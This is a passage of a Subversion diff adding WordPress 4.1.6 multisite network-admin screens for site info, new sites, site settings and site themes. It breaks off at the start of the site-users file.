--- /tags/4.1.6/src/wp-admin/network/site-info.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/site-info.php	(revision 33402)
@@ -0,0 +1,180 @@
+<?php
+/**
+ * Edit Site Info Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can( 'manage_sites' ) )
+	wp_die( __( 'You do not have sufficient permissions to edit this site.' ) );
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __('The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable.') . '</p>' .
+			'<p>' . __('<strong>Info</strong> - The domain and path are rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable.') . '</p>' .
+			'<p>' . __('<strong>Users</strong> - This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network.') . '</p>' .
+			'<p>' . sprintf( __('<strong>Themes</strong> - This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site&#8217;s Appearance menu. To enable a theme for the entire network, see the <a href="%s">Network Themes</a> screen.' ), network_admin_url( 'themes.php' ) ) . '</p>' .
+			'<p>' . __('<strong>Settings</strong> - This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Sites_Screen" target="_blank">Documentation on Site Management</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( ! $id )
+	wp_die( __('Invalid site ID.') );
+
+$details = get_blog_details( $id );
+if ( !can_edit_network( $details->site_id ) )
+	wp_die( __( 'You do not have permission to access this page.' ) );
+
+$parsed = parse_url( $details->siteurl );
+$is_main_site = is_main_site( $id );
+
+if ( isset($_REQUEST['action']) && 'update-site' == $_REQUEST['action'] ) {
+	check_admin_referer( 'edit-site' );
+
+	switch_to_blog( $id );
+
+	if ( isset( $_POST['update_home_url'] ) && $_POST['update_home_url'] == 'update' ) {
+		$blog_address = esc_url_raw( $_POST['blog']['domain'] . $_POST['blog']['path'] );
+		if ( get_option( 'siteurl' ) != $blog_address )
+			update_option( 'siteurl', $blog_address );
+
+		if ( get_option( 'home' ) != $blog_address )
+			update_option( 'home', $blog_address );
+	}
+
+	// Rewrite rules can't be flushed during switch to blog.
+	delete_option( 'rewrite_rules' );
+
+	// Update blogs table.
+	$blog_data = wp_unslash( $_POST['blog'] );
+	$existing_details = get_blog_details( $id, false );
+	$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );
+	foreach ( $blog_data_checkboxes as $c ) {
+		if ( ! in_array( $existing_details->$c, array( 0, 1 ) ) )
+			$blog_data[ $c ] = $existing_details->$c;
+		else
+			$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
+	}
+	update_blog_details( $id, $blog_data );
+
+	restore_current_blog();
+	wp_redirect( add_query_arg( array( 'update' => 'updated', 'id' => $id ), 'site-info.php') );
+	exit;
+}
+
+if ( isset($_GET['update']) ) {
+	$messages = array();
+	if ( 'updated' == $_GET['update'] )
+		$messages[] = __('Site info updated.');
+}
+
+$site_url_no_http = preg_replace( '#^http(s)?://#', '', get_blogaddress_by_id( $id ) );
+$title_site_url_linked = sprintf( __('Edit Site: <a href="%1$s">%2$s</a>'), get_blogaddress_by_id( $id ), $site_url_no_http );
+$title = sprintf( __('Edit Site: %s'), $site_url_no_http );
+
+$parent_file = 'sites.php';
+$submenu_file = 'sites.php';
+
+require( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h2 id="edit-site"><?php echo $title_site_url_linked ?></h2>
+<h3 class="nav-tab-wrapper">
+<?php
+$tabs = array(
+	'site-info'     => array( 'label' => __( 'Info' ),     'url' => 'site-info.php'     ),
+	'site-users'    => array( 'label' => __( 'Users' ),    'url' => 'site-users.php'    ),
+	'site-themes'   => array( 'label' => __( 'Themes' ),   'url' => 'site-themes.php'   ),
+	'site-settings' => array( 'label' => __( 'Settings' ), 'url' => 'site-settings.php' ),
+);
+foreach ( $tabs as $tab_id => $tab ) {
+	$class = ( $tab['url'] == $pagenow ) ? ' nav-tab-active' : '';
+	echo '<a href="' . $tab['url'] . '?id=' . $id .'" class="nav-tab' . $class . '">' . esc_html( $tab['label'] ) . '</a>';
+}
+?>
+</h3>
+<?php
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg )
+		echo '<div id="message" class="updated"><p>' . $msg . '</p></div>';
+} ?>
+<form method="post" action="site-info.php?action=update-site">
+	<?php wp_nonce_field( 'edit-site' ); ?>
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+	<table class="form-table">
+		<tr class="form-field form-required">
+			<th scope="row"><?php _e( 'Domain' ) ?></th>
+			<?php if ( $is_main_site ) { ?>
+				<td><code><?php echo $parsed['scheme'] . '://' . esc_attr( $details->domain ) ?></code></td>
+			<?php } else { ?>
+				<td><?php echo $parsed['scheme'] . '://'; ?><input name="blog[domain]" type="text" id="domain" value="<?php echo esc_attr( $details->domain ) ?>" /></td>
+			<?php } ?>
+		</tr>
+		<tr class="form-field form-required">
+			<th scope="row"><?php _e( 'Path' ) ?></th>
+			<?php if ( $is_main_site ) { ?>
+			<td><code><?php echo esc_attr( $details->path ) ?></code></td>
+			<?php
+			} else {
+				switch_to_blog( $id );
+			?>
+			<td>
+				<input name="blog[path]" type="text" id="path" value="<?php echo esc_attr( $details->path ) ?>" /><br />
+				<label><input type="checkbox" name="update_home_url" value="update" <?php if ( get_option( 'siteurl' ) == untrailingslashit( get_blogaddress_by_id ($id ) ) || get_option( 'home' ) == untrailingslashit( get_blogaddress_by_id( $id ) ) ) echo 'checked="checked"'; ?> /> <?php _e( 'Update <code>siteurl</code> and <code>home</code> as well.' ); ?></label>
+			</td>
+			<?php
+				restore_current_blog();
+			} ?>
+		</tr>
+		<tr class="form-field">
+			<th scope="row"><?php _ex( 'Registered', 'site' ) ?></th>
+			<td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ) ?>" /></td>
+		</tr>
+		<tr class="form-field">
+			<th scope="row"><?php _e( 'Last Updated' ); ?></th>
+			<td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ) ?>" /></td>
+		</tr>
+		<?php
+		$attribute_fields = array( 'public' => __( 'Public' ) );
+		if ( ! $is_main_site ) {
+			$attribute_fields['archived'] = __( 'Archived' );
+			$attribute_fields['spam']     = _x( 'Spam', 'site' );
+			$attribute_fields['deleted']  = __( 'Deleted' );
+		}
+		$attribute_fields['mature'] = __( 'Mature' );
+		?>
+		<tr>
+			<th scope="row"><?php _e( 'Attributes' ); ?></th>
+			<td>
+			<?php foreach ( $attribute_fields as $field_key => $field_label ) : ?>
+				<label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); disabled( ! in_array( $details->$field_key, array( 0, 1 ) ) ); ?> />
+				<?php echo $field_label; ?></label><br/>
+			<?php endforeach; ?>
+			</td>
+		</tr>
+	</table>
+	<?php submit_button(); ?>
+</form>
+
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/network/site-new.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/site-new.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/site-new.php	(revision 33402)
@@ -0,0 +1,157 @@
+<?php
+/**
+ * Add Site Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can( 'manage_sites' ) )
+	wp_die( __( 'You do not have sufficient permissions to add sites to this network.' ) );
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __('This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.') . '</p>' .
+			'<p>' . __('If the admin email for the new site does not exist in the database, a new user will also be created.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Sites_Screen" target="_blank">Documentation on Site Management</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+if ( isset($_REQUEST['action']) && 'add-site' == $_REQUEST['action'] ) {
+	check_admin_referer( 'add-blog', '_wpnonce_add-blog' );
+
+	if ( ! is_array( $_POST['blog'] ) )
+		wp_die( __( 'Can&#8217;t create an empty site.' ) );
+
+	$blog = $_POST['blog'];
+	$domain = '';
+	if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) )
+		$domain = strtolower( $blog['domain'] );
+
+	// If not a subdomain install, make sure the domain isn't a reserved word
+	if ( ! is_subdomain_install() ) {
+		/** This filter is documented in wp-includes/ms-functions.php */
+		$subdirectory_reserved_names = apply_filters( 'subdirectory_reserved_names', array( 'page', 'comments', 'blog', 'files', 'feed' ) );
+		if ( in_array( $domain, $subdirectory_reserved_names ) )
+			wp_die( sprintf( __('The following words are reserved for use by WordPress functions and cannot be used as blog names: <code>%s</code>' ), implode( '</code>, <code>', $subdirectory_reserved_names ) ) );
+	}
+
+	$title = $blog['title'];
+
+	if ( empty( $domain ) )
+		wp_die( __( 'Missing or invalid site address.' ) );
+
+	if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
+		wp_die( __( 'Missing email address.' ) );
+	}
+
+	$email = sanitize_email( $blog['email'] );
+	if ( ! is_email( $email ) ) {
+		wp_die( __( 'Invalid email address.' ) );
+	}
+
+	if ( is_subdomain_install() ) {
+		$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', $current_site->domain );
+		$path      = $current_site->path;
+	} else {
+		$newdomain = $current_site->domain;
+		$path      = $current_site->path . $domain . '/';
+	}
+
+	$password = 'N/A';
+	$user_id = email_exists($email);
+	if ( !$user_id ) { // Create a new user with a random password
+		$password = wp_generate_password( 12, false );
+		$user_id = wpmu_create_user( $domain, $password, $email );
+		if ( false == $user_id )
+			wp_die( __( 'There was an error creating the user.' ) );
+		else
+			wp_new_user_notification( $user_id, $password );
+	}
+
+	$wpdb->hide_errors();
+	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id , array( 'public' => 1 ), $current_site->id );
+	$wpdb->show_errors();
+	if ( !is_wp_error( $id ) ) {
+		if ( !is_super_admin( $user_id ) && !get_user_option( 'primary_blog', $user_id ) )
+			update_user_option( $user_id, 'primary_blog', $id, true );
+		$content_mail = sprintf( __( 'New site created by %1$s
+
+Address: %2$s
+Name: %3$s' ), $current_user->user_login , get_site_url( $id ), wp_unslash( $title ) );
+		wp_mail( get_site_option('admin_email'), sprintf( __( '[%s] New Site Created' ), $current_site->site_name ), $content_mail, 'From: "Site Admin" <' . get_site_option( 'admin_email' ) . '>' );
+		wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
+		wp_redirect( add_query_arg( array( 'update' => 'added', 'id' => $id ), 'site-new.php' ) );
+		exit;
+	} else {
+		wp_die( $id->get_error_message() );
+	}
+}
+
+if ( isset($_GET['update']) ) {
+	$messages = array();
+	if ( 'added' == $_GET['update'] )
+		$messages[] = sprintf( __( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ), esc_url( get_admin_url( absint( $_GET['id'] ) ) ), network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) ) );
+}
+
+$title = __('Add New Site');
+$parent_file = 'sites.php';
+
+wp_enqueue_script( 'user-suggest' );
+
+require( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h2 id="add-new-site"><?php _e('Add New Site') ?></h2>
+<?php
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg )
+		echo '<div id="message" class="updated"><p>' . $msg . '</p></div>';
+} ?>
+<form method="post" action="<?php echo network_admin_url( 'site-new.php?action=add-site' ); ?>" novalidate="novalidate">
+<?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ) ?>
+	<table class="form-table">
+		<tr class="form-field form-required">
+			<th scope="row"><?php _e( 'Site Address' ) ?></th>
+			<td>
+			<?php if ( is_subdomain_install() ) { ?>
+				<input name="blog[domain]" type="text" class="regular-text" id="site-address" title="<?php esc_attr_e( 'Domain' ) ?>"/><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', $current_site->domain ); ?></span>
+			<?php } else {
+				echo $current_site->domain . $current_site->path ?><input name="blog[domain]" class="regular-text" id="site-address" type="text" title="<?php esc_attr_e( 'Domain' ) ?>"/>
+			<?php }
+			echo '<p>' . __( 'Only lowercase letters (a-z) and numbers are allowed.' ) . '</p>';
+			?>
+			</td>
+		</tr>
+		<tr class="form-field form-required">
+			<th scope="row"><?php _e( 'Site Title' ) ?></th>
+			<td><input name="blog[title]" type="text" class="regular-text" id="site-title" title="<?php esc_attr_e( 'Title' ) ?>"/></td>
+		</tr>
+		<tr class="form-field form-required">
+			<th scope="row"><?php _e( 'Admin Email' ) ?></th>
+			<td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" title="<?php esc_attr_e( 'Email' ) ?>"/></td>
+		</tr>
+		<tr class="form-field">
+			<td colspan="2"><?php _e( 'A new user will be created if the above email address is not in the database.' ) ?><br /><?php _e( 'The username and password will be mailed to this email address.' ) ?></td>
+		</tr>
+	</table>
+	<?php submit_button( __('Add Site'), 'primary', 'add-site' ); ?>
+	</form>
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/network/site-settings.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/site-settings.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/site-settings.php	(revision 33402)
@@ -0,0 +1,173 @@
+<?php
+/**
+ * Edit Site Settings Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can( 'manage_sites' ) )
+	wp_die( __( 'You do not have sufficient permissions to edit this site.' ) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable.') . '</p>' .
+		'<p>' . __('<strong>Info</strong> - The domain and path are rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable.') . '</p>' .
+		'<p>' . __('<strong>Users</strong> - This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network.') . '</p>' .
+		'<p>' . sprintf( __('<strong>Themes</strong> - This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site&#8217;s Appearance menu. To enable a theme for the entire network, see the <a href="%s">Network Themes</a> screen.' ), network_admin_url( 'themes.php' ) ) . '</p>' .
+		'<p>' . __('<strong>Settings</strong> - This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Sites_Screen" target="_blank">Documentation on Site Management</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( ! $id )
+	wp_die( __('Invalid site ID.') );
+
+$details = get_blog_details( $id );
+if ( !can_edit_network( $details->site_id ) )
+	wp_die( __( 'You do not have permission to access this page.' ) );
+
+$is_main_site = is_main_site( $id );
+
+if ( isset($_REQUEST['action']) && 'update-site' == $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
+	check_admin_referer( 'edit-site' );
+
+	switch_to_blog( $id );
+
+	$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
+	foreach ( (array) $_POST['option'] as $key => $val ) {
+		$key = wp_unslash( $key );
+		$val = wp_unslash( $val );
+		if ( $key === 0 || is_array( $val ) || in_array($key, $skip_options) )
+			continue; // Avoids "0 is a protected WP option and may not be modified" error when edit blog options
+		update_option( $key, $val );
+	}
+
+/**
+ * Fires after the site options are updated.
+ *
+ * @since 3.0.0
+ */
+	do_action( 'wpmu_update_blog_options' );
+	restore_current_blog();
+	wp_redirect( add_query_arg( array( 'update' => 'updated', 'id' => $id ), 'site-settings.php') );
+	exit;
+}
+
+if ( isset($_GET['update']) ) {
+	$messages = array();
+	if ( 'updated' == $_GET['update'] )
+		$messages[] = __('Site options updated.');
+}
+
+$site_url_no_http = preg_replace( '#^http(s)?://#', '', get_blogaddress_by_id( $id ) );
+$title_site_url_linked = sprintf( __('Edit Site: <a href="%1$s">%2$s</a>'), get_blogaddress_by_id( $id ), $site_url_no_http );
+$title = sprintf( __('Edit Site: %s'), $site_url_no_http );
+
+$parent_file = 'sites.php';
+$submenu_file = 'sites.php';
+
+require( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h2 id="edit-site"><?php echo $title_site_url_linked ?></h2>
+<h3 class="nav-tab-wrapper">
+<?php
+$tabs = array(
+	'site-info'     => array( 'label' => __( 'Info' ),     'url' => 'site-info.php'     ),
+	'site-users'    => array( 'label' => __( 'Users' ),    'url' => 'site-users.php'    ),
+	'site-themes'   => array( 'label' => __( 'Themes' ),   'url' => 'site-themes.php'   ),
+	'site-settings' => array( 'label' => __( 'Settings' ), 'url' => 'site-settings.php' ),
+);
+foreach ( $tabs as $tab_id => $tab ) {
+	$class = ( $tab['url'] == $pagenow ) ? ' nav-tab-active' : '';
+	echo '<a href="' . $tab['url'] . '?id=' . $id .'" class="nav-tab' . $class . '">' . esc_html( $tab['label'] ) . '</a>';
+}
+?>
+</h3>
+<?php
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg )
+		echo '<div id="message" class="updated"><p>' . $msg . '</p></div>';
+} ?>
+<form method="post" action="site-settings.php?action=update-site">
+	<?php wp_nonce_field( 'edit-site' ); ?>
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+	<table class="form-table">
+		<?php
+		$blog_prefix = $wpdb->get_blog_prefix( $id );
+		$sql = "SELECT * FROM {$blog_prefix}options
+			WHERE option_name NOT LIKE %s
+			AND option_name NOT LIKE %s";
+		$query = $wpdb->prepare( $sql,
+			$wpdb->esc_like( '_' ) . '%',
+			'%' . $wpdb->esc_like( 'user_roles' )
+		);
+		$options = $wpdb->get_results( $query );
+		foreach ( $options as $option ) {
+			if ( $option->option_name == 'default_role' )
+				$editblog_default_role = $option->option_value;
+			$disabled = false;
+			$class = 'all-options';
+			if ( is_serialized( $option->option_value ) ) {
+				if ( is_serialized_string( $option->option_value ) ) {
+					$option->option_value = esc_html( maybe_unserialize( $option->option_value ) );
+				} else {
+					$option->option_value = 'SERIALIZED DATA';
+					$disabled = true;
+					$class = 'all-options disabled';
+				}
+			}
+			if ( strpos( $option->option_value, "\n" ) !== false ) {
+			?>
+				<tr class="form-field">
+					<th scope="row"><?php echo ucwords( str_replace( "_", " ", $option->option_name ) ) ?></th>
+					<td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ) ?>]" id="<?php echo esc_attr( $option->option_name ) ?>"<?php disabled( $disabled ) ?>><?php echo esc_textarea( $option->option_value ) ?></textarea></td>
+				</tr>
+			<?php
+			} else {
+			?>
+				<tr class="form-field">
+					<th scope="row"><?php echo esc_html( ucwords( str_replace( "_", " ", $option->option_name ) ) ); ?></th>
+					<?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ) ) ) { ?>
+					<td><code><?php echo esc_html( $option->option_value ) ?></code></td>
+					<?php } else { ?>
+					<td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ) ?>]" type="text" id="<?php echo esc_attr( $option->option_name ) ?>" value="<?php echo esc_attr( $option->option_value ) ?>" size="40" <?php disabled( $disabled ) ?> /></td>
+					<?php } ?>
+				</tr>
+			<?php
+			}
+		} // End foreach
+		/**
+		 * Fires at the end of the Edit Site form, before the submit button.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int $id Site ID.
+		 */
+		do_action( 'wpmueditblogaction', $id );
+		?>
+	</table>
+	<?php submit_button(); ?>
+</form>
+
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/network/site-themes.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/site-themes.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/site-themes.php	(revision 33402)
@@ -0,0 +1,185 @@
+<?php
+/**
+ * Edit Site Themes Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can( 'manage_sites' ) )
+	wp_die( __( 'You do not have sufficient permissions to manage themes for this site.' ) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable.') . '</p>' .
+		'<p>' . __('<strong>Info</strong> - The domain and path are rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable.') . '</p>' .
+		'<p>' . __('<strong>Users</strong> - This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network.') . '</p>' .
+		'<p>' . sprintf( __('<strong>Themes</strong> - This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site&#8217;s Appearance menu. To enable a theme for the entire network, see the <a href="%s">Network Themes</a> screen.' ), network_admin_url( 'themes.php' ) ) . '</p>' .
+		'<p>' . __('<strong>Settings</strong> - This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Sites_Screen" target="_blank">Documentation on Site Management</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+$wp_list_table = _get_list_table('WP_MS_Themes_List_Table');
+
+$action = $wp_list_table->current_action();
+
+$s = isset($_REQUEST['s']) ? $_REQUEST['s'] : '';
+
+// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
+$temp_args = array( 'enabled', 'disabled', 'error' );
+$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
+$referer = remove_query_arg( $temp_args, wp_get_referer() );
+
+if ( ! empty( $_REQUEST['paged'] ) ) {
+	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
+}
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( ! $id )
+	wp_die( __('Invalid site ID.') );
+
+$wp_list_table->prepare_items();
+
+$details = get_blog_details( $id );
+if ( !can_edit_network( $details->site_id ) )
+	wp_die( __( 'You do not have permission to access this page.' ) );
+
+$is_main_site = is_main_site( $id );
+
+if ( $action ) {
+	switch_to_blog( $id );
+	$allowed_themes = get_option( 'allowedthemes' );
+
+	switch ( $action ) {
+		case 'enable':
+			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
+			$theme = $_GET['theme'];
+			$action = 'enabled';
+			$n = 1;
+			if ( !$allowed_themes )
+				$allowed_themes = array( $theme => true );
+			else
+				$allowed_themes[$theme] = true;
+			break;
+		case 'disable':
+			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
+			$theme = $_GET['theme'];
+			$action = 'disabled';
+			$n = 1;
+			if ( !$allowed_themes )
+				$allowed_themes = array();
+			else
+				unset( $allowed_themes[$theme] );
+			break;
+		case 'enable-selected':
+			check_admin_referer( 'bulk-themes' );
+			if ( isset( $_POST['checked'] ) ) {
+				$themes = (array) $_POST['checked'];
+				$action = 'enabled';
+				$n = count( $themes );
+				foreach( (array) $themes as $theme )
+					$allowed_themes[ $theme ] = true;
+			} else {
+				$action = 'error';
+				$n = 'none';
+			}
+			break;
+		case 'disable-selected':
+			check_admin_referer( 'bulk-themes' );
+			if ( isset( $_POST['checked'] ) ) {
+				$themes = (array) $_POST['checked'];
+				$action = 'disabled';
+				$n = count( $themes );
+				foreach( (array) $themes as $theme )
+					unset( $allowed_themes[ $theme ] );
+			} else {
+				$action = 'error';
+				$n = 'none';
+			}
+			break;
+	}
+
+	update_option( 'allowedthemes', $allowed_themes );
+	restore_current_blog();
+
+	wp_safe_redirect( add_query_arg( array( 'id' => $id, $action => $n ), $referer ) );
+	exit;
+}
+
+if ( isset( $_GET['action'] ) && 'update-site' == $_GET['action'] ) {
+	wp_safe_redirect( $referer );
+	exit();
+}
+
+add_thickbox();
+add_screen_option( 'per_page', array( 'label' => _x( 'Themes', 'themes per page (screen options)' ) ) );
+
+$site_url_no_http = preg_replace( '#^http(s)?://#', '', get_blogaddress_by_id( $id ) );
+$title_site_url_linked = sprintf( __('Edit Site: <a href="%1$s">%2$s</a>'), get_blogaddress_by_id( $id ), $site_url_no_http );
+$title = sprintf( __('Edit Site: %s'), $site_url_no_http );
+
+$parent_file = 'sites.php';
+$submenu_file = 'sites.php';
+
+require( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<div class="wrap">
+<h2 id="edit-site"><?php echo $title_site_url_linked ?></h2>
+<h3 class="nav-tab-wrapper">
+<?php
+$tabs = array(
+	'site-info'     => array( 'label' => __( 'Info' ),     'url' => 'site-info.php'     ),
+	'site-users'    => array( 'label' => __( 'Users' ),    'url' => 'site-users.php'    ),
+	'site-themes'   => array( 'label' => __( 'Themes' ),   'url' => 'site-themes.php'   ),
+	'site-settings' => array( 'label' => __( 'Settings' ), 'url' => 'site-settings.php' ),
+);
+foreach ( $tabs as $tab_id => $tab ) {
+	$class = ( $tab['url'] == $pagenow ) ? ' nav-tab-active' : '';
+	echo '<a href="' . $tab['url'] . '?id=' . $id .'" class="nav-tab' . $class . '">' . esc_html( $tab['label'] ) . '</a>';
+}
+?>
+</h3><?php
+
+if ( isset( $_GET['enabled'] ) ) {
+	$_GET['enabled'] = absint( $_GET['enabled'] );
+	echo '<div id="message" class="updated"><p>' . sprintf( _n( 'Theme enabled.', '%s themes enabled.', $_GET['enabled'] ), number_format_i18n( $_GET['enabled'] ) ) . '</p></div>';
+} elseif ( isset( $_GET['disabled'] ) ) {
+	$_GET['disabled'] = absint( $_GET['disabled'] );
+	echo '<div id="message" class="updated"><p>' . sprintf( _n( 'Theme disabled.', '%s themes disabled.', $_GET['disabled'] ), number_format_i18n( $_GET['disabled'] ) ) . '</p></div>';
+} elseif ( isset( $_GET['error'] ) && 'none' == $_GET['error'] ) {
+	echo '<div id="message" class="error"><p>' . __( 'No theme selected.' ) . '</p></div>';
+} ?>
+
+<p><?php _e( 'Network enabled themes are not shown on this screen.' ) ?></p>
+
+<form method="get" action="">
+<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
+<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+</form>
+
+<?php $wp_list_table->views(); ?>
+
+<form method="post" action="site-themes.php?action=update-site">
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+
+<?php $wp_list_table->display(); ?>
+
+</form>
+
+</div>
+<?php include(ABSPATH . 'wp-admin/admin-footer.php'); ?>
Index: /tags/4.1.6/src/wp-admin/network/site-users.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/site-users.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/site-users.php	(revision 33402)
@@ -0,0 +1,319 @@
+<?php
+/**
+ * Edit Site Users Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
